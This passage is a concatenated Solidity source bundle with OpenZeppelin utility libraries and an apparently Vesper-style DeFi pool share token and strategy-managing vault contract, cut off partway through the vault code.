be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } } else if (signature.length == 64) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { let vs := mload(add(signature, 0x40)) r := mload(add(signature, 0x20)) s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } } else { revert("ECDSA: invalid signature length"); } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, block.chainid, address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (governor) that can be granted exclusive access to * specific functions. * * By default, the governor account will be the one that deploys the contract. This * can later be changed with {transferGovernorship}. * */ contract Governed is Context { address public governor; address private proposedGovernor; event UpdatedGovernor(address indexed previousGovernor, address indexed proposedGovernor); /** * @dev Initializes the contract setting the deployer as the initial governor. */ constructor() { address msgSender = _msgSender(); governor = msgSender; emit UpdatedGovernor(address(0), msgSender); } /** * @dev Throws if called by any account other than the governor. */ modifier onlyGovernor { require(governor == _msgSender(), "caller-is-not-the-governor"); _; } /** * @dev Transfers governorship of the contract to a new account (`proposedGovernor`). * Can only be called by the current owner. */ function transferGovernorship(address _proposedGovernor) external onlyGovernor { //solhint-disable-next-line reason-string require(_proposedGovernor != address(0), "proposed-governor-is-zero-address"); proposedGovernor = _proposedGovernor; } /** * @dev Allows new governor to accept governorship of the contract. */ function acceptGovernorship() external { //solhint-disable-next-line reason-string require(proposedGovernor == _msgSender(), "caller-is-not-the-proposed-governor"); emit UpdatedGovernor(governor, proposedGovernor); governor = proposedGovernor; proposedGovernor = address(0); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * */ contract Pausable is Context { event Paused(address account); event Shutdown(address account); event Unpaused(address account); event Open(address account); bool public paused; bool public stopEverything; modifier whenNotPaused() { require(!paused, "Pausable: paused"); _; } modifier whenPaused() { require(paused, "Pausable: not paused"); _; } modifier whenNotShutdown() { require(!stopEverything, "Pausable: shutdown"); _; } modifier whenShutdown() { require(stopEverything, "Pausable: not shutdown"); _; } /// @dev Pause contract operations, if contract is not paused. function _pause() internal virtual whenNotPaused { paused = true; emit Paused(_msgSender()); } /// @dev Unpause contract operations, allow only if contract is paused and not shutdown. function _unpause() internal virtual whenPaused whenNotShutdown { paused = false; emit Unpaused(_msgSender()); } /// @dev Shutdown contract operations, if not already shutdown. function _shutdown() internal virtual whenNotShutdown { stopEverything = true; paused = true; emit Shutdown(_msgSender()); } /// @dev Open contract operations, if contract is in shutdown state function _open() internal virtual whenShutdown { stopEverything = false; emit Open(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface IAddressList { function add(address a) external returns (bool); function remove(address a) external returns (bool); function get(address a) external view returns (uint256); function contains(address a) external view returns (bool); function length() external view returns (uint256); function grantRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface IAddressListFactory { function ours(address a) external view returns (bool); function listCount() external view returns (uint256); function listAt(uint256 idx) external view returns (address); function createList() external returns (address listaddr); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface IStrategy { function rebalance() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function feeCollector() external view returns (address); function isReservedToken(address _token) external view returns (bool); function migrate(address _newStrategy) external; function token() external view returns (address); function totalValue() external view returns (uint256); function pool() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "../Governed.sol"; import "../Pausable.sol"; import "../interfaces/bloq/IAddressList.sol"; import "../interfaces/bloq/IAddressListFactory.sol"; /// @title Holding pool share token // solhint-disable no-empty-blocks abstract contract PoolShareToken is ERC20Permit, Pausable, ReentrancyGuard, Governed { using SafeERC20 for IERC20; IERC20 public immutable token; IAddressList public immutable feeWhitelist; uint256 public constant MAX_BPS = 10_000; address public feeCollector; // fee collector address uint256 public withdrawFee; // withdraw fee for this pool event Deposit(address indexed owner, uint256 shares, uint256 amount); event Withdraw(address indexed owner, uint256 shares, uint256 amount); event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector); event UpdatedWithdrawFee(uint256 previousWithdrawFee, uint256 newWithdrawFee); constructor( string memory _name, string memory _symbol, address _token ) ERC20Permit(_name) ERC20(_name, _symbol) { token = IERC20(_token); IAddressListFactory factory = IAddressListFactory(0xded8217De022706A191eE7Ee0Dc9df1185Fb5dA3); IAddressList _feeWhitelist = IAddressList(factory.createList()); feeWhitelist = _feeWhitelist; } /** * @notice Update fee collector address for this pool * @param _newFeeCollector new fee collector address */ function updateFeeCollector(address _newFeeCollector) external onlyGovernor { require(_newFeeCollector != address(0), "fee-collector-address-is-zero"); require(feeCollector != _newFeeCollector, "same-fee-collector"); emit UpdatedFeeCollector(feeCollector, _newFeeCollector); feeCollector = _newFeeCollector; } /** * @notice Update withdraw fee for this pool * @dev Format: 1500 = 15% fee, 100 = 1% * @param _newWithdrawFee new withdraw fee */ function updateWithdrawFee(uint256 _newWithdrawFee) external onlyGovernor { require(feeCollector != address(0), "fee-collector-not-set"); require(_newWithdrawFee <= 10000, "withdraw-fee-limit-reached"); require(withdrawFee != _newWithdrawFee, "same-withdraw-fee"); emit UpdatedWithdrawFee(withdrawFee, _newWithdrawFee); withdrawFee = _newWithdrawFee; } /** * @notice Deposit ERC20 tokens and receive pool shares depending on the current share price. * @param _amount ERC20 token amount. */ function deposit(uint256 _amount) external virtual nonReentrant whenNotPaused { _deposit(_amount); } /** * @notice Deposit ERC20 tokens with permit aka gasless approval. * @param _amount ERC20 token amount. * @param _deadline The time at which signature will expire * @param _v The recovery byte of the signature * @param _r Half of the ECDSA signature pair * @param _s Half of the ECDSA signature pair */ function depositWithPermit( uint256 _amount, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s ) external virtual nonReentrant whenNotPaused { IERC20Permit(address(token)).permit(_msgSender(), address(this), _amount, _deadline, _v, _r, _s); _deposit(_amount); } /** * @notice Withdraw collateral based on given shares and the current share price. * Withdraw fee, if any, will be deduced from given shares and transferred to feeCollector. * Burn remaining shares and return collateral. * @param _shares Pool shares. It will be in 18 decimals. */ function withdraw(uint256 _shares) external virtual nonReentrant whenNotShutdown { _withdraw(_shares); } /** * @notice Withdraw collateral based on given shares and the current share price. * @dev Burn shares and return collateral. No withdraw fee will be assessed * when this function is called. Only some white listed address can call this function. * @param _shares Pool shares. It will be in 18 decimals. */ function whitelistedWithdraw(uint256 _shares) external virtual nonReentrant whenNotShutdown { require(feeWhitelist.contains(_msgSender()), "not-a-white-listed-address"); _withdrawWithoutFee(_shares); } /** * @notice Transfer tokens to multiple recipient * @dev Address array and amount array are 1:1 and are in order. * @param _recipients array of recipient addresses * @param _amounts array of token amounts * @return true/false */ function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool) { require(_recipients.length == _amounts.length, "input-length-mismatch"); for (uint256 i = 0; i < _recipients.length; i++) { require(transfer(_recipients[i], _amounts[i]), "multi-transfer-failed"); } return true; } /** * @notice Get price per share * @dev Return value will be in token defined decimals. */ function pricePerShare() public view returns (uint256) { if (totalSupply() == 0 || totalValue() == 0) { return convertFrom18(1e18); } return (totalValue() * 1e18) / totalSupply(); } /// @dev Convert from 18 decimals to token defined decimals. Default no conversion. function convertFrom18(uint256 _amount) public view virtual returns (uint256) { return _amount; } /// @dev Returns the token stored in the pool. It will be in token defined decimals. function tokensHere() public view virtual returns (uint256) { return token.balanceOf(address(this)); } /** * @dev Returns sum of token locked in other contracts and token stored in the pool. * Default tokensHere. It will be in token defined decimals. */ function totalValue() public view virtual returns (uint256); /** * @dev Hook that is called just before burning tokens. This withdraw collateral from withdraw queue * @param _share Pool share in 18 decimals */ function _beforeBurning(uint256 _share) internal virtual returns (uint256) {} /** * @dev Hook that is called just after burning tokens. * @param _amount Collateral amount in collateral token defined decimals. */ function _afterBurning(uint256 _amount) internal virtual returns (uint256) { token.safeTransfer(_msgSender(), _amount); return _amount; } /** * @dev Hook that is called just before minting new tokens. To be used i.e. * if the deposited amount is to be transferred from user to this contract. * @param _amount Collateral amount in collateral token defined decimals. */ function _beforeMinting(uint256 _amount) internal virtual { token.safeTransferFrom(_msgSender(), address(this), _amount); } /** * @dev Hook that is called just after minting new tokens. To be used i.e. * if the deposited amount is to be transferred to a different contract. * @param _amount Collateral amount in collateral token defined decimals. */ function _afterMinting(uint256 _amount) internal virtual {} /** * @dev Calculate shares to mint based on the current share price and given amount. * @param _amount Collateral amount in collateral token defined decimals. * @return share amount in 18 decimal */ function _calculateShares(uint256 _amount) internal view returns (uint256) { require(_amount != 0, "amount-is-0"); uint256 _share = ((_amount * 1e18) / pricePerShare()); return _amount > ((_share * pricePerShare()) / 1e18) ? _share + 1 : _share; } /// @dev Deposit incoming token and mint pool token i.e. shares. function _deposit(uint256 _amount) internal { uint256 _shares = _calculateShares(_amount); _beforeMinting(_amount); _mint(_msgSender(), _shares); _afterMinting(_amount); emit Deposit(_msgSender(), _shares, _amount); } /// @dev Burns shares and returns the collateral value, after fee, of those. function _withdraw(uint256 _shares) internal { if (withdrawFee == 0) { _withdrawWithoutFee(_shares); } else { require(_shares != 0, "share-is-0"); uint256 _fee = (_shares * withdrawFee) / MAX_BPS; uint256 _sharesAfterFee = _shares - _fee; uint256 _amountWithdrawn = _beforeBurning(_sharesAfterFee); // Recalculate proportional share on actual amount withdrawn uint256 _proportionalShares = _calculateShares(_amountWithdrawn); // Using convertFrom18() to avoid dust. // Pool share token is in 18 decimal and collatoral token decimal is <=18. // Anything less than 10**(18-collortalTokenDecimal) is dust. if (convertFrom18(_proportionalShares) < convertFrom18(_sharesAfterFee)) { // Recalculate shares to withdraw, fee and shareAfterFee _shares = (_proportionalShares * MAX_BPS) / (MAX_BPS - withdrawFee); _fee = _shares - _proportionalShares; _sharesAfterFee = _proportionalShares; } _burn(_msgSender(), _sharesAfterFee); _transfer(_msgSender(), feeCollector, _fee); _afterBurning(_amountWithdrawn); emit Withdraw(_msgSender(), _shares, _amountWithdrawn); } } /// @dev Burns shares and returns the collateral value of those. function _withdrawWithoutFee(uint256 _shares) internal { require(_shares != 0, "share-is-0"); uint256 _amountWithdrawn = _beforeBurning(_shares); uint256 _proportionalShares = _calculateShares(_amountWithdrawn); if (convertFrom18(_proportionalShares) < convertFrom18(_shares)) { _shares = _proportionalShares; } _burn(_msgSender(), _shares); _afterBurning(_amountWithdrawn); emit Withdraw(_msgSender(), _shares, _amountWithdrawn); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "./PoolShareToken.sol"; import "../interfaces/vesper/IStrategy.sol"; contract VTokenBase is PoolShareToken { using SafeERC20 for IERC20; struct StrategyConfig { bool active; uint256 interestFee; // Strategy fee uint256 debtRate; //strategy can not borrow large amount in short durations. Can set big limit for trusted strategy uint256 lastRebalance; uint256 totalDebt; // Total outstanding debt strategy has uint256 totalLoss; // Total loss that strategy has realized uint256 totalProfit; // Total gain that strategy has realized uint256 debtRatio; // % of asset allocation } mapping(address => StrategyConfig) public strategy; uint256 public totalDebtRatio; // this will keep some buffer amount in pool uint256 public totalDebt; address[] public strategies; address[] public withdrawQueue; IAddressList public keepers; IAddressList public maintainers; address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event StrategyAdded(address indexed strategy, uint256 interestFee, uint256 debtRatio, uint256 debtRate); event StrategyMigrated( address indexed oldStrategy, address indexed newStrategy, uint256 interestFee, uint256 debtRatio, uint256 debtRate ); event UpdatedInterestFee(address indexed strategy, uint256 interestFee); event UpdatedStrategyDebtParams(address indexed strategy, uint256 debtRatio, uint256 debtRate); event EarningReported( address indexed strategy, uint256 profit, uint256 loss, uint256 payback, uint256 strategyDebt, uint256 poolDebt, uint256 creditLine ); constructor( string memory name, string memory symbol, address _token // solhint-disable-next-line no-empty-blocks ) PoolShareToken(name, symbol, _token) {} modifier onlyKeeper() { require(keepers.contains(_msgSender()), "caller-is-not-a-keeper"); _; } modifier onlyMaintainer() { require(maintainers.contains(_msgSender()), "caller-is-not-maintainer"); _; } modifier onlyStrategy() { require(strategy[_msgSender()].active, "caller-is-not-active-strategy"); _; } ///////////////////////////// Only Keeper /////////////////////////////// function pause() external onlyKeeper { _pause(); } function unpause() external onlyKeeper { _unpause(); } function shutdown() external onlyKeeper { _shutdown(); } function open() external onlyKeeper { _open(); } /////////////////////////////////////////////////////////////////////////// ////////////////////////////// Only Governor ////////////////////////////// /** * @notice Create keeper and maintainer list * @dev Create lists and add governor into the list. * NOTE: Any function with onlyKeeper and onlyMaintainer modifier will not work until this function is called. * NOTE: Due to gas constraint this function cannot be called in constructor. */ function init() external onlyGovernor { require(address(keepers) == address(0), "list-already-created"); IAddressListFactory _factory = IAddressListFactory(0xded8217De022706A191eE7Ee0Dc9df1185Fb5dA3); keepers = IAddressList(_factory.createList()); maintainers = IAddressList(_factory.createList()); // List creator i.e. governor can do job of keeper and maintainer. keepers.add(governor); maintainers.add(governor); } /** * @notice Add given address in provided address list. * @dev Use it to add keeper in keepers list and to add address in feeWhitelist * @param _listToUpdate address of AddressList contract. * @param _addressToAdd address which we want to add in AddressList. */ function addInList(address _listToUpdate, address _addressToAdd) external onlyKeeper { require(IAddressList(_listToUpdate).add(_addressToAdd), "add-in-list-failed"); } /** * @notice Remove given address from provided address list. * @dev Use it to remove keeper from keepers list and to remove address from feeWhitelist * @param _listToUpdate address of AddressList contract. * @param _addressToRemove address which we want to remove from AddressList. */ function removeFromList(address _listToUpdate, address _addressToRemove) external onlyKeeper { require(IAddressList(_listToUpdate).remove(_addressToRemove), "remove-from-list-failed"); } /// @dev Add strategy function addStrategy( address _strategy, uint256 _interestFee, uint256 _debtRatio, uint256 _debtRate ) public onlyGovernor { require(_strategy != address(0), "strategy-address-is-zero"); require(!strategy[_strategy].active, "strategy-already-added"); totalDebtRatio = totalDebtRatio + _debtRatio; require(totalDebtRatio <= MAX_BPS, "totalDebtRatio-above-max_bps"); require(_interestFee <= MAX_BPS, "interest-fee-above-max_bps"); StrategyConfig memory newStrategy = StrategyConfig({ active: true, interestFee: _interestFee, debtRatio: _debtRatio, totalDebt: 0, totalProfit: 0, totalLoss: 0, debtRate: _debtRate, lastRebalance: block.number }); strategy[_strategy] = newStrategy; strategies.push(_strategy); withdrawQueue.push(_strategy); emit StrategyAdded(_strategy, _interestFee, _debtRatio, _debtRate); } function migrateStrategy(address _old, address _new) external onlyGovernor { require(_new != address(0), "new-address-is-zero"); require(_old != address(0), "old-address-is-zero"); require(IStrategy(_new).pool() == address(this), "not-valid-new-strategy"); require(IStrategy(_old).pool() == address(this), "not-valid-old-strategy"); require(strategy[_old].active, "strategy-already-migrated"); require(!strategy[_new].active, "strategy-already-added"); StrategyConfig memory _newStrategy = StrategyConfig({ active: true, interestFee: strategy[_old].interestFee, debtRatio: strategy[_old].debtRatio, totalDebt: strategy[_old].totalDebt, totalProfit: 0, totalLoss: 0, debtRate: strategy[_old].debtRate, lastRebalance: strategy[_old].lastRebalance }); strategy[_old].debtRatio = 0; strategy[_old].totalDebt = 0; strategy[_old].debtRate = 0; strategy[_old].active = false; strategy[_new] = _newStrategy; IStrategy(_old).migrate(_new); // Strategies and withdrawQueue has same length but we still want // to iterate over them in different loop. for (uint256 i = 0; i < strategies.length; i++) { if (strategies[i] == _old) { strategies[i] = _new; break; } } for (uint256 i = 0; i < withdrawQueue.length; i++) { if (withdrawQueue[i] == _old) { withdrawQueue[i] = _new; break; } } emit StrategyMigrated( _old, _new, strategy[_new].interestFee, strategy[_new].debtRatio, strategy[_new].debtRate ); } /** * @dev Revoke and remove strategy from array. Update withdraw queue. * Withdraw queue order should not change after remove. * Strategy can be removed only after it has paid all debt. * Use migrate strategy if debt is not paid and want to upgrade strat. */ function removeStrategy(uint256 _index) external onlyGovernor { address _strategy = strategies[_index]; require(strategy[_strategy].active, "strategy-not-active"); require(strategy[_strategy].totalDebt == 0, "strategy-has-debt"); delete strategy[_strategy]; strategies[_index] = strategies[strategies.length - 1]; strategies.pop(); address[] memory _withdrawQueue = new address[](strategies.length); uint256 j; // After above update, withdrawQueue.length > strategies.length for (uint256 i = 0; i < withdrawQueue.length; i++) { if (withdrawQueue[i] != _strategy) { _withdrawQueue[j] = withdrawQueue[i]; j++; } } withdrawQueue = _withdrawQueue; } function updateInterestFee(address _strategy, uint256 _interestFee) external onlyGovernor { require(_strategy != address(0), "strategy-address-is-zero"); require(strategy[_strategy].active, "strategy-not-active"); require(_interestFee <= MAX_BPS, "interest-fee-above-max_bps"); strategy[_strategy].interestFee = _interestFee; emit UpdatedInterestFee(_strategy, _interestFee); } /** * @dev Update debt ratio. A strategy is retired when debtRatio is 0 */ function updateDebtRatio(address _strategy, uint256 _debtRatio) external onlyMaintainer { require(strategy[_strategy].active, "strategy-not-active"); totalDebtRatio = totalDebtRatio - strategy[_strategy].debtRatio + _debtRatio; require(totalDebtRatio <= MAX_BPS, "totalDebtRatio-above-max_bps"); strategy[_strategy].debtRatio = _debtRatio; emit UpdatedStrategyDebtParams(_strategy, _debtRatio, strategy[_strategy].debtRate); } /** * @dev Update debtRate per block. */ function updateDebtRate(address _strategy, uint256 _debtRate) external onlyKeeper { require(strategy[_strategy].active, "strategy-not-active"); strategy[_strategy].debtRate = _debtRate; emit UpdatedStrategyDebtParams(_strategy, strategy[_strategy].debtRatio, _debtRate); } /// @dev update withdrawal queue function updateWithdrawQueue(address[] memory _withdrawQueue) external onlyMaintainer { uint256 _length = _withdrawQueue.length; require(_length > 0, "withdrawal-queue-blank"); require(_length == withdrawQueue.length && _length == strategies.length, "incorrect-withdraw-queue-length"); for (uint256 i = 0; i < _length; i++) { require(strategy[_withdrawQueue[i]].active, "invalid-strategy"); } withdrawQueue = _withdrawQueue; } /////////////////////////////////////////////////////////////////////////// /** @dev Strategy call this in regular interval. @param _profit yield generated by strategy. Strategy get performance fee on this amount @param _loss Reduce debt ,also reduce debtRatio, increase loss in record. @param _payback strategy willing to payback outstanding above debtLimit. no performance fee on this amount. when governance has reduced debtRatio of strategy, strategy will report profit and payback amount separately. */ function reportEarning( uint256 _profit, uint256 _loss, uint256 _payback ) external onlyStrategy { require(token.balanceOf(_msgSender()) >= (_profit + _payback), "insufficient-balance-in-strategy"); if (_loss != 0) { _reportLoss(_msgSender(), _loss); } uint256 _overLimitDebt = _excessDebt(_msgSender()); uint256 _actualPayback = _min(_overLimitDebt, _payback); if (_actualPayback != 0) { strategy[_msgSender()].totalDebt -= _actualPayback; totalDebt -= _actualPayback; } uint256 _creditLine = _availableCreditLimit(_msgSender()); if (_creditLine != 0) { strategy[_msgSender()].totalDebt += _creditLine; totalDebt += _creditLine; } uint256 _totalPayback = _profit + _actualPayback; if (_totalPayback < _creditLine) { token.safeTransfer(_msgSender(), _creditLine - _totalPayback); } else if (_totalPayback > _creditLine) { token.safeTransferFrom(_msgSender(), address(this), _totalPayback - _creditLine); } if (_profit != 0) { strategy[_msgSender()].totalProfit += _profit; _transferInterestFee(_profit); } emit EarningReported( _msgSender(), _profit, _loss, _actualPayback, strategy[_msgSender()].totalDebt, totalDebt, _creditLine ); } /** * @dev Transfer given ERC20 token to feeCollector * @param _fromToken Token address to sweep */ function sweepERC20(address _fromToken) external virtual onlyKeeper { require(_fromToken != address(token), "not-allowed-to-sweep"); require(feeCollector != address(0), "fee-collector-not-set"); IERC20(_fromToken).safeTransfer(feeCollector, IERC20(_fromToken).balanceOf(address(this))); } /** @dev debt above current debt limit */ function excessDebt(address _strategy) external view returns (uint256) { return _excessDebt(_strategy); } /** @dev available credit limit is calculated 